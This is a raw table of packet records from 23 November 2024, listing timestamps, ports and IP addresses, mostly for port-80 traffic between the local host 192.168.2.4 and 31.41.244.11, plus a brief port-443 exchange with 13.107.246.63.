Nov 23, 2024 03:21:13.840430975 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.840500116 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.840540886 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.840586901 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.841571093 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.841624975 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.841636896 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.841670036 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.842716932 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.842767000 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.842778921 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.842823982 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.843868017 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.843909979 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.843960047 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.844001055 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.844990015 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.845031977 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.845081091 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.845123053 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.846128941 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.846173048 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.846225023 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.846302032 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.847275019 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.847323895 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.847385883 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.847426891 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.848401070 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.848443985 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.848618031 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.848660946 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.849551916 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.849594116 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.849598885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.849642038 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.850687027 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.850754023 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.850790977 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.850832939 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.851831913 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.851876974 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.851922035 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.851965904 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.852967978 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.853012085 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.853050947 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.853092909 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.854109049 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.854155064 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.854198933 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.854238987 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.855223894 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.855268002 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.855343103 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.855385065 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.856388092 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.856431007 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.856473923 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.856513977 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.857527971 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.857568026 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.857636929 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.857680082 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.858676910 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.858725071 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.858802080 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.858846903 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.859792948 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.859838009 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.859889030 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.859931946 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.860932112 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.861001015 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.861041069 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.861105919 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.862062931 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.862107038 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.862168074 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.862210989 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.863193035 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.863235950 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.863310099 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.863352060 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.864290953 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.864335060 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.005930901 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.005959988 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.006092072 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.006092072 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.006155968 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.006201029 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.006210089 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.006251097 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.007302999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.007344007 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.007416964 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.007462025 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.008460999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.008505106 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.008549929 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.008590937 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.009588957 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.009637117 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.009680986 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.009725094 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.010714054 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.010761976 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.010812998 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.010855913 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.011868954 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.011929035 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.011944056 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.011985064 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.013008118 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.013056993 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.013107061 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.013148069 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.014143944 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.014244080 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.014261007 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.014306068 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.015283108 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.015325069 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.015388012 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.015431881 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.016417980 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.016459942 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.016525984 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.016570091 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.017545938 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.017591953 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.017637014 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.017682076 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.018695116 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.018739939 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.018810034 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.018851042 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.019823074 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.019881964 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.019927979 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.019972086 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.020972013 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.021014929 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.021090031 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.021133900 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.022133112 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.022200108 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.022249937 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.022293091 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.023237944 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.023284912 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.023356915 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.023401022 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.024405003 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.024450064 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.024494886 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.024537086 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.025527954 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.025578022 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.025619030 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.025660038 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.026660919 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.026705980 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.026751995 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.026794910 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.027817011 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.027862072 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.027908087 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.027951956 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.028928995 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.028973103 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.029066086 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.029109001 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.030092001 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.030210018 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.030263901 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.031233072 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.031373024 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.031424046 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.032386065 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.032435894 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.032479048 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.033493996 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.033544064 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.033607960 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.034609079 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.034630060 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.034749985 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.034796953 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.035769939 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.035897970 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.035947084 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.036902905 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.036958933 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.037003040 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.038059950 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.038108110 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.038203955 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.038608074 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.039189100 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.039309978 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.039355993 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.040348053 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.040472031 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.040517092 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.041486025 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.041532040 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.041601896 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.042608976 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.042659044 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.042706013 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.042725086 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.042769909 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.043759108 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.043808937 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.043853998 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.043900013 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.044881105 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.044924021 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.044977903 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.045025110 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.046026945 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.046071053 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.046114922 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.046163082 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.047161102 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.047265053 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.047318935 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.048296928 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.048420906 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.048469067 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.049428940 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.049474001 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.049556971 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.049602985 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.050565958 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.050609112 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.050688028 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.050730944 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.051713943 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.051760912 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.051805019 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.051845074 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.052865028 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.052934885 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.052963972 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.053005934 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.053987980 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.054030895 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.054085970 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.054130077 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.055115938 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.055161953 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.055233955 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.055279970 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.056252003 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.056297064 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.056369066 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.056420088 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.057404995 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.057450056 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.057526112 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.057565928 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.058554888 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.058609009 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.058660030 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.058703899 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.059684992 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.059730053 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.059782982 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.059828043 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.060811996 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.060861111 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.060904026 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.060949087 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.061980009 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.062026024 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.062073946 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.062119007 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.063222885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.063328028 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.063349009 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.063393116 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.064239025 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.064282894 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.064327955 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.064373970 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.065376043 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.065421104 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.240047932 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.240156889 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.240236998 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.240535021 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.240705967 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.240767002 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.241449118 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.241507053 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.241585970 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.242583036 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.242620945 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.242634058 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.242666006 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.243697882 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.243756056 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.243799925 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.244870901 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.244929075 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.244941950 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.244988918 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.245975018 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.246088028 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.246140003 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.247106075 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.247220993 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.247263908 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.248250961 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.248295069 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.248357058 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.249418974 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.249463081 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.249562025 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.250549078 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.250603914 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.250633001 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.250680923 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.251682043 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.251804113 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.251854897 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.252835989 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.252975941 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.253030062 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.253302097 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:14.253355026 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:14.253407001 CET	49767	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:14.253956079 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.254079103 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.254120111 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.255100012 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.255215883 CET	80	49760	31.41.244.11	192.168.2.4
